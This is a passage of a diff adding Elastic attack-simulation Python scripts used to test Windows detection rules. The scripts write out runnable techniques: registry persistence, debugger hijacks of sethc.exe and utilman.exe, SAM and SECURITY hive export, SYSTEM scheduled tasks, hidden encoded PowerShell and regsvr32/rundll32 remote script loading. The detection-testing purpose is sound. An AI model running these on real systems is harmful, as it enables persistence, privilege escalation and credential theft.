||||
# winreg = common.get_winreg()
|
||||
# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3)
|
||||
# set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3)
|
||||
|
||||
# Turn on Office 2010 WWLIBcxm persistence
|
||||
subkey = "Software\\Microsoft\\Office\\14.0\\Word"
|
||||
common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD)
|
||||
|
||||
# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0)
|
||||
|
||||
return common.SUCCESS
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,61 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Persistent Scripts
|
||||
# RTA: persistent_scripts.py
|
||||
# ATT&CK: T1064 (Scripting), T1086 (PowerShell)
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
VBS = common.get_path("bin", "persistent_script.vbs")
|
||||
NAME = "rta-vbs-persistence"
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(common.PS_EXEC, VBS)
|
||||
def main():
|
||||
common.log("Persistent Scripts")
|
||||
|
||||
if common.check_system():
|
||||
common.log("Must be run as a non-SYSTEM user", log_type="!")
|
||||
return 1
|
||||
|
||||
# Remove any existing profiles
|
||||
user_profile = os.environ['USERPROFILE']
|
||||
log_file = os.path.join(user_profile, NAME + ".log")
|
||||
|
||||
# Remove log file if exists
|
||||
common.remove_file(log_file)
|
||||
|
||||
common.log("Running VBS")
|
||||
common.execute(["cscript.exe", VBS])
|
||||
|
||||
# Let the script establish persistence, then read the log file back
|
||||
time.sleep(5)
|
||||
common.print_file(log_file)
|
||||
common.remove_file(log_file)
|
||||
|
||||
# Now trigger a 'logon' event which causes persistence to run
|
||||
common.log("Simulating user logon and loading of profile")
|
||||
# common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"])
|
||||
# time.sleep(2)
|
||||
|
||||
common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True)
|
||||
common.execute(["schtasks.exe", "/run", "/tn", NAME])
|
||||
|
||||
# Wait for the "logon" to finish
|
||||
time.sleep(30)
|
||||
common.print_file(log_file)
|
||||
|
||||
# Now delete the user profile
|
||||
common.log("Cleanup", log_type="-")
|
||||
common.remove_file(log_file)
|
||||
common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,26 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Privilege Escalation via Port Monitor Registration
|
||||
# RTA: port_monitor.py
|
||||
# ATT&CK: T1013
|
||||
# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Writing registry key and dummy dll")
|
||||
|
||||
key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah"
|
||||
value = "test"
|
||||
dll = "test.dll"
|
||||
|
||||
with common.temporary_reg(common.HKLM, key, value, dll):
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,42 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Powershell with Suspicious Arguments
|
||||
# RTA: powershell_args.py
|
||||
# ATT&CK: T1140
|
||||
# Description: Calls PowerShell with suspicious command line arguments.
|
||||
|
||||
import base64
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
def encode(command):
|
||||
return base64.b64encode(command.encode('utf-16le'))
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("PowerShell Suspicious Commands")
|
||||
temp_script = os.path.abspath("tmp.ps1")
|
||||
|
||||
# Create an empty script
|
||||
with open(temp_script, "w") as f:
|
||||
f.write("whoami.exe\nexit\n")
|
||||
|
||||
powershell_commands = [
|
||||
['powershell.exe', '-ExecutionPol', 'Bypass', temp_script],
|
||||
['powershell.exe', 'iex', 'Get-Process'],
|
||||
['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)],
|
||||
]
|
||||
|
||||
for command in powershell_commands:
|
||||
common.execute(command)
|
||||
|
||||
common.remove_file(temp_script)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,22 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: PowerShell with base64/gzip
|
||||
# RTA: powershell_base64_gzip.py
|
||||
# ATT&CK: T1140
|
||||
# Description: Calls PowerShell with command-line that contains base64/gzip
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("PowerShell with base64/gzip")
|
||||
|
||||
command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501
|
||||
common.execute(command)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: PowerShell Launched from Script
|
||||
# RTA: powershell_from_script.py
|
||||
# ATT&CK: T1064, T1192, T1193
|
||||
# Description: Creates a javascript file that will launch powershell.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
# Write script
|
||||
script_file = os.path.abspath("launchpowershell.vbs")
|
||||
script = """Set objShell = CreateObject("Wscript.shell")
|
||||
objShell.run("powershell echo 'Doing evil things...'; sleep 3")
|
||||
"""
|
||||
with open(script_file, 'w') as f:
|
||||
f.write(script)
|
||||
|
||||
# Execute script
|
||||
for proc in ["wscript", "cscript"]:
|
||||
common.execute([proc, script_file])
|
||||
time.sleep(3)
|
||||
|
||||
# Clean up
|
||||
common.remove_file(script_file)
|
||||
|
||||
return common.SUCCESS
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,30 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Double Process Extension
|
||||
# RTA: process_double_extension.py
|
||||
# ATT&CK: T1036
|
||||
# Description: Create and run a process with a double extension.
|
||||
|
||||
from . import common
|
||||
|
||||
MY_APP = common.get_path("bin", "myapp_x64.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_APP)
|
||||
def main():
|
||||
anomalies = [
|
||||
"test.txt.exe"
|
||||
]
|
||||
|
||||
for path in anomalies:
|
||||
common.log("Masquerading process as %s" % path)
|
||||
common.copy_file(MY_APP, path)
|
||||
common.execute([path])
|
||||
common.remove_file(path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,36 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Executable with Unusual Extensions
|
||||
# RTA: process_extension_anomalies.py
|
||||
# ATT&CK: T1036
|
||||
# Description: Creates processes with anomalous extensions
|
||||
|
||||
from . import common
|
||||
|
||||
MY_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_APP)
|
||||
def main():
|
||||
anomalies = [
|
||||
"bad.pif",
|
||||
"evil.cmd",
|
||||
"evil.gif",
|
||||
"bad.pdf",
|
||||
"suspicious.bat",
|
||||
"hiding.vbs",
|
||||
"evil.xlsx"
|
||||
]
|
||||
|
||||
for path in anomalies:
|
||||
common.log("Masquerading python as %s" % path)
|
||||
common.copy_file(MY_APP, path)
|
||||
common.execute([path])
|
||||
common.remove_file(path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Windows Core Process Masquerade
|
||||
# RTA: process_name_masquerade.py
|
||||
# ATT&CK: T1036
|
||||
# Description: Creates several processes which mimic core Windows process names but that are not those executables.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
MY_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_APP)
|
||||
def main():
|
||||
masquerades = [
|
||||
"svchost.exe",
|
||||
"lsass.exe",
|
||||
"services.exe",
|
||||
"csrss.exe",
|
||||
"smss.exe",
|
||||
"wininit.exe",
|
||||
"explorer.exe",
|
||||
]
|
||||
|
||||
for name in masquerades:
|
||||
path = os.path.abspath(name)
|
||||
common.copy_file(MY_APP, path)
|
||||
common.execute(path, timeout=3, kill=True)
|
||||
common.remove_file(path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,53 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Run Process from the Recycle Bin
|
||||
# RTA: recycle_bin_process.py
|
||||
# ATT&CK: T1158
|
||||
# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories.
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"]
|
||||
TARGET_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(TARGET_APP, common.CMD_PATH)
|
||||
def main():
|
||||
common.log("Execute files from the Recycle Bin")
|
||||
target_dir = None
|
||||
for recycle_path in RECYCLE_PATHS:
|
||||
if os.path.exists(recycle_path):
|
||||
target_dir = common.find_writeable_directory(recycle_path)
|
||||
if target_dir:
|
||||
break
|
||||
|
||||
else:
|
||||
common.log("Could not find a writeable directory in the recycle bin")
|
||||
exit(1)
|
||||
|
||||
commands = [
|
||||
[TARGET_APP],
|
||||
[common.CMD_PATH, "/c", "echo hello world"],
|
||||
]
|
||||
|
||||
common.log("Running commands from recycle bin in %s" % target_dir)
|
||||
for command in commands: # type: list[str]
|
||||
source_path = command[0]
|
||||
arguments = command[1:]
|
||||
|
||||
target_path = os.path.join(target_dir, "recycled_process.exe")
|
||||
common.copy_file(source_path, target_path)
|
||||
arguments.insert(0, target_path)
|
||||
common.execute(arguments)
|
||||
time.sleep(0.5)
|
||||
common.remove_file(target_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,30 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Export Registry Hives
|
||||
# RTA: registry_hive_export.py
|
||||
# ATT&CK: TBD
|
||||
# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
REG = "reg.exe"
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
for hive in ["sam", "security", "system"]:
|
||||
filename = os.path.abspath("%s.reg" % hive)
|
||||
common.log("Exporting %s hive to %s" % (hive, filename))
|
||||
common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename])
|
||||
common.remove_file(filename)
|
||||
|
||||
common.execute([REG, "save", "hklm\\%s" % hive, filename])
|
||||
common.remove_file(filename)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,94 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Registry persistence creation
|
||||
# RTA: registry_persistence_create.py
|
||||
# ATT&CK: T1015, T1103
|
||||
# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers.
|
||||
|
||||
# TODO: Split into multiple files
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
TARGET_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
def pause():
|
||||
time.sleep(0.5)
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(TARGET_APP)
|
||||
def main():
|
||||
common.log("Suspicious Registry Persistence")
|
||||
winreg = common.get_winreg()
|
||||
|
||||
for hive in (common.HKLM, common.HKCU):
|
||||
common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP)
|
||||
common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP)
|
||||
|
||||
# create Services subkey for "ServiceTest"
|
||||
common.log("Creating ServiceTest registry key")
|
||||
hklm = winreg.HKEY_LOCAL_MACHINE
|
||||
hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\")
|
||||
|
||||
# create "ServiceTest" data values
|
||||
common.log("Updating ServiceTest metadata")
|
||||
winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service")
|
||||
winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service")
|
||||
winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe")
|
||||
winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll")
|
||||
|
||||
# modify contents of ServiceDLL and ImagePath
|
||||
common.log("Modifying ServiceTest binary")
|
||||
winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe")
|
||||
winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll")
|
||||
|
||||
hkey.Close()
|
||||
common.pause()
|
||||
|
||||
# delete Service subkey for "ServiceTest"
|
||||
common.log("Removing ServiceTest", log_type="-")
|
||||
hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\")
|
||||
winreg.DeleteKeyEx(hkey, "ServiceTest")
|
||||
|
||||
hkey.Close()
|
||||
common.pause()
|
||||
|
||||
# Additional persistence
|
||||
common.log("Adding AppInit DLL")
|
||||
windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"
|
||||
common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True)
|
||||
|
||||
common.log("Adding AppCert DLL")
|
||||
appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls"
|
||||
common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True)
|
||||
|
||||
debugger_targets = [
|
||||
"normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe",
|
||||
"narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"
|
||||
]
|
||||
|
||||
for victim in debugger_targets:
|
||||
common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP))
|
||||
base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim
|
||||
common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True)
|
||||
|
||||
# create new NetSh key value
|
||||
common.log("Adding a new NetSh Helper DLL")
|
||||
key = "Software\\Microsoft\\NetSh"
|
||||
common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll")
|
||||
|
||||
# modify the list of SSPs
|
||||
common.log("Adding a new SSP to the list of security packages")
|
||||
key = "System\\CurrentControlSet\\Control\\Lsa"
|
||||
common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True)
|
||||
|
||||
hkey.Close()
|
||||
pause()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,27 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Enable RDP Through Registry
|
||||
# RTA: registry_rdp_enable.py
|
||||
# ATT&CK: T1076
|
||||
# Description: Identifies registry write modification to enable RDP access.
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Enabling RDP Through Registry")
|
||||
|
||||
# get the current value
|
||||
key = "System\\CurrentControlSet\\Control\\Terminal Server"
|
||||
value = "fDenyTSConnections"
|
||||
|
||||
with common.temporary_reg(common.HKLM, key, value, 1, common.DWORD):
|
||||
# while temporarily disabled, re-enable the service
|
||||
common.write_reg(common.HKLM, key, value, 0, common.DWORD, restore=False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,31 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: RegSvr32 Backdoor with .sct Files
|
||||
# RTA: regsvr32_scrobj.py
|
||||
# ATT&CK: T1121, T1117, T1064
|
||||
# Description: Loads a .sct network callback with RegSvr32
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(common.get_path("bin", "notepad.sct"))
|
||||
def main():
|
||||
common.log("RegSvr32 with .sct backdoor")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
uri = 'bin/notepad.sct'
|
||||
url = 'http://%s:%d/%s' % (ip, port, uri)
|
||||
|
||||
common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"])
|
||||
common.log("Killing all notepads to cleanup", "-")
|
||||
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
|
||||
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,40 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: RunDll32 with .inf Callback
|
||||
# RTA: rundll32_inf_callback.py
|
||||
# ATT&CK: T1105
|
||||
# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
INF_FILE = common.get_path("bin", "script_launch.inf")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(INF_FILE)
|
||||
def main():
|
||||
# http server will terminate on main thread exit
|
||||
# if daemon is True
|
||||
common.log("RunDLL32 with Script Object and Network Callback")
|
||||
server, ip, port = common.serve_web()
|
||||
callback = "http://%s:%d" % (ip, port)
|
||||
common.clear_web_cache()
|
||||
|
||||
common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback)
|
||||
|
||||
rundll32 = "rundll32.exe"
|
||||
dll_entrypoint = "setupapi.dll,InstallHinfSection"
|
||||
common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False)
|
||||
|
||||
time.sleep(1)
|
||||
common.log("Cleanup", log_type="-")
|
||||
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,33 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: RunDLL32 Javascript Callback
|
||||
# RTA: rundll32_javascript_callback.py
|
||||
# ATT&CK: T1085
|
||||
# Description: Executes javascript code with an AJAX call via RunDll32.exe
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("RunDLL32 with Javascript Callback")
|
||||
server, ip, port = common.serve_web()
|
||||
common.clear_web_cache()
|
||||
|
||||
url = "http://%s:%d" % (ip, port)
|
||||
rundll32 = 'rundll32.exe'
|
||||
js = """
|
||||
'javascript:"\..\mshtml,RunHTMLApplication ";'
|
||||
'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,'
|
||||
'xhr.open("GET", "{url}",false);xhr.send();'
|
||||
""".format(url=url)
|
||||
packed_js = ''.join(s.strip() for s in js.splitlines())
|
||||
|
||||
common.execute([rundll32, packed_js])
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,49 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Scheduled Task Privilege Escalation
|
||||
# RTA: schtask_escalation.py
|
||||
# ATT&CK: T1053
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
def schtasks(*args, **kwargs):
|
||||
return common.execute(['schtasks.exe'] + list(args), **kwargs)
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Scheduled Task Privilege Escalation")
|
||||
|
||||
task_name = 'test-task-rta'
|
||||
file_path = os.path.abspath('task.log')
|
||||
command = "cmd.exe /c whoami.exe > " + file_path
|
||||
|
||||
# Delete the task if it exists
|
||||
code, output = schtasks('/query', '/tn', task_name)
|
||||
if code == 0:
|
||||
schtasks('/delete', '/tn', task_name, '/f')
|
||||
|
||||
code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon')
|
||||
if code != 0:
|
||||
common.log("Error creating task", log_type="!")
|
||||
return
|
||||
|
||||
# Run the task and grab the file
|
||||
code, output = schtasks('/run', '/tn', task_name)
|
||||
if code == 0:
|
||||
time.sleep(1)
|
||||
common.print_file(file_path)
|
||||
time.sleep(1)
|
||||
common.remove_file(file_path)
|
||||
|
||||
schtasks('/delete', '/tn', task_name, '/f')
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,26 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: COM Hijack via Script Object
|
||||
# RTA: scrobj_com_hijack.py
|
||||
# ATT&CK: T1122
|
||||
# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll".
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}"
|
||||
subkey = "InprocServer32"
|
||||
value = ""
|
||||
scrobj = "C:\\WINDOWS\\system32\\scrobj.dll"
|
||||
key_path = key + "\\" + subkey
|
||||
|
||||
with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True):
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,29 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex'))
|
||||
sdelete_path = common.get_path("bin", 'sdelete.exe')
|
||||
|
||||
try:
|
||||
# Create a temporary file and close handles so it can be deleted
|
||||
with open(temp_path, 'wb') as f_out:
|
||||
f_out.write('A')
|
||||
|
||||
subprocess.check_call([sdelete_path, '/accepteula', temp_path])
|
||||
|
||||
finally:
|
||||
common.remove_file(temp_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,24 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Abusing SettingContent-ms Files
|
||||
# RTA: settingcontentms_files.py
|
||||
# ATT&CK: T1193, T1204, T1064
|
||||
# Description: SettingContent-ms file written to specific path or by risky process
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
# Write to AppData\Local\
|
||||
common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms'])
|
||||
time.sleep(1)
|
||||
common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms'])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,55 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Encrypting files with 7zip
|
||||
# RTA: sevenzip_encrypted.py
|
||||
# ATT&CK: T1022
|
||||
# Description: Uses "bin\.exe" to perform encryption of archives and archive headers.
|
||||
|
||||
import base64
|
||||
import os
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
SEVENZIP = common.get_path("bin", "7za.exe")
|
||||
|
||||
|
||||
def create_exfil(path=os.path.abspath("secret_stuff.txt")):
|
||||
common.log("Writing dummy exfil to %s" % path)
|
||||
with open(path, 'wb') as f:
|
||||
f.write(base64.b64encode(b"This is really secret stuff\n" * 100))
|
||||
return path
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(SEVENZIP)
|
||||
def main(password="s0l33t"):
|
||||
# create 7z.exe with not-7zip name, and exfil
|
||||
svnz2 = os.path.abspath("a.exe")
|
||||
common.copy_file(SEVENZIP, svnz2)
|
||||
exfil = create_exfil()
|
||||
|
||||
exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"]
|
||||
out_jpg = os.path.abspath("out.jpg")
|
||||
|
||||
for ext in exts:
|
||||
# Write archive for each type
|
||||
out_file = os.path.abspath("out." + ext)
|
||||
common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True)
|
||||
common.remove_file(out_file)
|
||||
|
||||
# Write archive for each type with -t flag
|
||||
if ext == "bz2":
|
||||
continue
|
||||
|
||||
common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True)
|
||||
common.remove_file(out_jpg)
|
||||
|
||||
common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True)
|
||||
common.remove_files(exfil, svnz2, out_jpg)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,24 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Shortcut File Suspicious Process
|
||||
# RTA: shortcut_file_suspicious_process.py
|
||||
# ATT&CK: T1023,T1204,T1193,T1192
|
||||
# Description: Create a .lnk file using cmd.exe
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
